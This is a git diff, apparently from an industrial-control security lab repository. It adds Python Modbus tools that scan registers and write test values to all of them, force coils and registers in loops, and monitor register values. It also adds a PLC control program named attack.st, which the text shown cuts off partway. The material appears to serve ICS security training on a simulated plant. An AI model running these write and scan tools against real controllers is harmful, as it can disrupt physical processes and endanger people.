+coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/register_scanner.py.1 b/modbus/misc/register_scanner.py.1 new file mode 100644 index 0000000..4d03cc6 --- /dev/null +++ b/modbus/misc/register_scanner.py.1 @@ -0,0 +1,151 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1]="Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in hold_valid_list: + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + client.close() + return write_coil_confirm_list,write_coil_confirm_data + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") + client.close() + return valid_list,data_list,permission_list + + + +#Write the result to Excel File +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]+reg_value) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=True, help='Port Number') +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/write_all_holding_registers.py b/modbus/misc/write_all_holding_registers.py new file mode 100644 index 0000000..ae6fa15 --- /dev/null +++ b/modbus/misc/write_all_holding_registers.py @@ -0,0 +1,94 @@ +#!/usr/bin/env python + +""" +File: write_all_holding_registers.py +Desc: Write all holding registers on a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Write all holding registries on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the writer. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the writer. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-v", "--value", dest="value", help="Value that will be written. Defaults to 7777", type=int, metavar="VALUE", default=7777) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target given\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = [] + addr = 1 + for addr in range(args.start_address, args.end_address): + hr = client.write_registers(addr, args.value, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 16: # if we succeeded writing stuff. code = 0x10 + results.append(addr) + # if it fails, hr.function = 144 (0x90), cf modbus doc + + client.close() + print 'Register writing is finished (%d addresses were tried)' % (args.end_address-args.start_address+1) + print 'Writing was successful on these %d addresses:' % len(results) + print results + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/monitor_muiltiple.py b/modbus/monitor_muiltiple.py new file mode 100644 index 0000000..5b8b46f --- /dev/null +++ b/modbus/monitor_muiltiple.py @@ -0,0 +1,192 @@ +#!/usr/bin/env python + +""" +File: monitor_multiple.py +Desc: Read all registers from a TCP MODBUS Slave +""" +__author__ = '0xRoM' + +from argparse import ArgumentParser, ArgumentTypeError, Action +from pyModbusTCP.client import ModbusClient +import time +import sys +import re + +class style(): + BLACK = '\033[30m' + RED = '\033[31m' + GREEN = '\033[32m' + YELLOW = '\033[33m' + BLUE = '\033[34m' + MAGENTA = '\033[35m' + CYAN = '\033[36m' + WHITE = '\033[37m' + BOLD = '\33[1m' + UNDERLINE = '\033[4m' + RESET = '\033[0m' + +class InflateRange(Action): + def __call__(self, parser, namespace, values, option_string=None): + #print('%r %r %r' % (namespace, values, option_string)) + lst = [] + for string in values: + #print 'in string:',string + if '-' in string: + m = re.match(r'(\d+)(?:-(\d+))?$', string) + # ^ (or use .split('-'). anyway you like.) + if not m: + raise ArgumentTypeError("'" + string + "' is not a range of number. Expected forms like '0-5' or '2'.") + start = m.group(1) + end = m.group(2) or start + lst.extend(list(range(int(start,10), int(end,10)+1))) + else: + lst.append(int(string)) + setattr(namespace, self.dest, lst) + +parser = ArgumentParser() +parser.add_argument('-co', '--coil', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-ho', '--hold', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-di', '--discrete', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-in', '--input', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-i','--ipaddress', action='store', type=str, required=True, help='Input IP Address') +parser.add_argument('-p','--port', action='store', type=int, required=False, help='Port Number', default=502) +parser.add_argument('-t','--timeout', action='store', type=float, required=False, help='request every X seconds', default=2) + +args = parser.parse_args() +print("### watch list ###") + +total = 0 +if args.coil: + print(style.BOLD+"coils: "+style.RESET+"("+str(len(args.coil))+")"+str(args.coil)) + total += len(args.coil) +if args.hold: + print(style.BOLD+"hold reg: "+style.RESET+"("+str(len(args.hold))+")"+str(args.hold)) + total += len(args.hold) +if args.discrete: + print(style.BOLD+"discrete: "+style.RESET+"("+str(len(args.discrete))+")"+str(args.discrete)) + total += len(args.discrete) +if args.input: + print(style.BOLD+"input reg: "+style.RESET+"("+str(len(args.input))+")"+str(args.input)) + total += len(args.input) +print(style.BOLD+"Total = "+str(total)+style.RESET) +print("------------------") + +co_orig={} +ho_orig={} +di_orig={} +in_orig={} +co_mod={} +ho_mod={} +di_mod={} +in_mod={} +co_prev={} +ho_prev={} +di_prev={} +in_prev={} +client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=args.timeout) + +if args.coil: + for i in args.coil: + co_orig[i]=client.read_coils(i,1) + co_mod[i] = style.RESET + co_prev[i] = co_orig[i] +if args.hold: + for i in args.hold: + ho_orig[i]=client.read_holding_registers(i,1) + if ho_orig[i] == None: + ho_orig[i] = " " + ho_mod[i] = style.RESET + ho_prev[i] = ho_orig[i] +if args.discrete: + for i in args.discrete: + di_orig[i]=client.read_discrete_inputs(i,1) + di_mod[i] = style.RESET + di_prev[i] = di_orig[i] +if args.input: + for i in args.input: + in_orig[i]=client.read_input_registers(i,1) + if in_orig[i] == None: + in_orig[i] = " " + in_mod[i] = style.RESET + in_prev[i] = in_orig[i] + +while True: + co_new={} + ho_new={} + di_new={} + in_new={} + if args.coil: + for i in args.coil: + co_new[i]=client.read_coils(i,1) + if co_new[i] == None: + co_new[i] = "0" + co_mod[i] = style.CYAN + else: + if co_new[i][0] == 1 and co_prev[i][0] == 0: + co_mod[i] = style.GREEN + if co_new[i][0] == 0 and co_prev[i][0] == 1: + co_mod[i] = style.RED + co_prev[i] = co_new[i] + + if args.hold: + for i in args.hold: + ho_new[i]=client.read_holding_registers(i,1) + if ho_new[i] == None: + ho_new[i] = " " + else: + if ho_new[i] > ho_prev[i]: + ho_mod[i] = style.GREEN + if ho_new[i] < ho_prev[i]: + ho_mod[i] = style.RED + ho_prev[i] = ho_new[i] + + if args.discrete: + for i in args.discrete: + di_new[i]=client.read_discrete_inputs(i,1) + if di_new[i] == None: + di_new[i] = "0" + di_mod[i] = style.CYAN + else: + if di_new[i][0] == 1 and di_prev[i][0] == 0: + di_mod[i] = style.GREEN + if di_new[i][0] == 0 and di_prev[i][0] == 1: + di_mod[i] = style.RED + di_prev[i] = di_new[i] + + if args.input: + for i in args.input: + in_new[i]=client.read_input_registers(i,1) + if in_new[i] == None: + in_new[i] = " " + else: + if in_new[i] > in_prev[i]: + in_mod[i] = style.GREEN + if in_new[i] < in_prev[i]: + in_mod[i] = style.RED + in_prev[i] = in_new[i] + + sys.stdout.flush() + output = '\r' + if args.coil: + output += '['+style.BOLD+'coils:'+style.RESET + for i in co_new: + output += style.RESET+'['+str(co_mod[i])+str(int(co_new[i][0]))+style.RESET+']' + output += ']' + if args.hold: + output += '['+style.BOLD+'hold regs:'+style.RESET + for i in ho_new: + output += style.RESET+'['+str(ho_mod[i])+str(ho_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + if args.discrete: + output += '['+style.BOLD+'discrete:'+style.RESET + for i in di_new: + output += style.RESET+'['+str(di_mod[i])+str(int(di_new[i][0]))+style.RESET+']' + output += ']' + if args.input: + output += '['+style.BOLD+'input regs:'+style.RESET + for i in in_new: + output += style.RESET+'['+str(in_mod[i])+str(in_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + + print output, + time.sleep(args.timeout) \ No newline at end of file diff --git a/modbus/set_coil.py b/modbus/set_coil.py new file mode 100644 index 0000000..02ab399 --- /dev/null +++ b/modbus/set_coil.py @@ -0,0 +1,41 @@ +#!/usr/bin/env python + +""" +File: set_coil.py +Desc: set a specific coil to a specific value +""" +__author__ = '0xRoM' +from argparse import ArgumentParser, ArgumentTypeError +from pyModbusTCP.client import ModbusClient +import time +import sys + +parser = ArgumentParser() +parser.add_argument('-i','--ipaddress', action='store', type=str, required=True, help='Input IP Address') +parser.add_argument('-p','--port', action='store', type=int, required=False, help='Port Number', default=502) +parser.add_argument('-c','--coil', action='store', type=int, required=True, help='Coil Number', default=0) +parser.add_argument('-tr','--true', action='store_true', required=False, help='True if set') +parser.add_argument('-l','--loop', action='store_true', required=False, help='loop on') +parser.add_argument('-t','--timeout', action='store', type=float, required=False, help='request every X seconds', default=2) +args = parser.parse_args() + +client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=10) +if args.true: + client.write_single_coil(args.coil,True) +else: + client.write_single_coil(args.coil,False) + +if args.loop: + i=1 + while True: + client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=10) + if args.true: + client.write_single_coil(args.coil,True) + else: + client.write_single_coil(args.coil,False) + client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 + time.sleep(args.timeout) + diff --git a/modbus/test_coil_true.py b/modbus/test_coil_true.py new file mode 100644 index 0000000..d2e8631 --- /dev/null +++ b/modbus/test_coil_true.py @@ -0,0 +1,15 @@ +#!/usr/bin/python +from pymodbus.client.sync import ModbusTcpClient +import time +import sys + +i=1 +t_end = time.time() + 60 * 1 # 60s X 1min +while time.time() < t_end: + client = ModbusTcpClient(sys.argv[1]) + client.write_coils(40, [True, True, True]*4) # Ref #, followed by coil settings in list form + client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 +print "Done" diff --git a/modbus/test_hold_int.py b/modbus/test_hold_int.py new file mode 100644 index 0000000..8be7d0d --- /dev/null +++ b/modbus/test_hold_int.py @@ -0,0 +1,21 @@ +#!/usr/bin/python +from pyModbusTCP.client import ModbusClient +import time +import sys + +i=1 +client=ModbusClient(host=sys.argv[1],port=502,auto_open=True,auto_close=True,timeout=10) + +while True: + #client = ModbusTcpClient(sys.argv[1]) + #client.write_single_register(0,65535) # ref #, followed by no to store + #client.write_single_register(1,65535) # ref #, followed by no to store + #client.write_single_register(2,0) # ref #, followed by no to store + client.write_single_register(3,0) # ref #, followed by no to store + #client.write_multiple_registers(0, [65535,65535,2,2]) + #client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 + time.sleep(0.2) +print "Done" diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack.st b/plc/GRFICS_Workstation_Docs/Documents/attack.st new file mode 100644 index 0000000..e39c5bd --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack.st @@ -0,0 +1,518 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + 